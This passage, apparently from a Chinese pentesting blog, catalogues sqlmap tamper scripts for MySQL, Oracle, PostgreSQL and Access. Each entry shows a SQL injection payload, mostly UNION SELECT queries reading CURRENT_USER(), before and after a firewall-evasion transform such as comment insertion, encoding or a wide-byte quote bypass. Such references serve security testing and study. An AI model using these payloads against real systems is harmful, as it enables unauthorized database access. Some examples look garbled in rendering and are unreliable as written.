* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

14

randomcase.py

随机大小写

* Input: INSERT
* Output: InsERt

15

versionedkeywords.py

Encloses each non-function keyword with versioned MySQL comment

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

16

space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’

* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users

17

charunicodeencode.py

字符串 unicode 编码

* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

18

versionedmorekeywords.py

注释绕过

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

MySQL < 5.1

19

halfversionedmorekeywords.py

关键字前加注释

* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa

20

halfversionedmorekeywords.py

当数据库为mysql时绕过防火墙,每个关键字之前添加
mysql版本评论

1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

MySQL >= 5.1.13

21

space2morehash.py

空格替换为 #号 以及更多随机字符串 换行符

* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

 Oracle

1

greatest.py

绕过过滤’>’ ,用GREATEST替换大于号。

('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'

2

apostrophenullencode.py

绕过过滤双引号,替换字符和双引号。

tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'

3

between.py

用between替换大于号(>)

('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'

4

charencode.py

url编码

* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

5

randomcase.py

随机大小写

* Input: INSERT
* Output: InsERt

6

charunicodeencode.py

字符串 unicode 编码

* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

7

space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’

* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users

 PostgreSQL

1

greatest.py

绕过过滤’>’ ,用GREATEST替换大于号。

('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'

2

apostrophenullencode.py

绕过过滤双引号,替换字符和双引号。

tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'

3

between.py

用between替换大于号(>)

('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'

4

percentage.py

asp允许每个字符前面添加一个%号

* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

5

charencode.py

url编码

* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

6

randomcase.py

随机大小写

* Input: INSERT
* Output: InsERt

7

charunicodeencode.py

字符串 unicode 编码

* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

8

space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’

* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users

Access

1

appendnullbyte.py

在有效负荷结束位置加载零字节字符编码

('1 AND 1=1')
'1 AND 1=1%00'

其他

chardoubleencode.py

双url编码(不处理以编码的)

* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

unmagicquotes.py

宽字符绕过 GPC  addslashes

* Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20

randomcomments.py

用/**/分割sql关键字

‘INSERT’ becomes ‘IN//S//ERT’

你可能感兴趣的:(渗透测试,sql)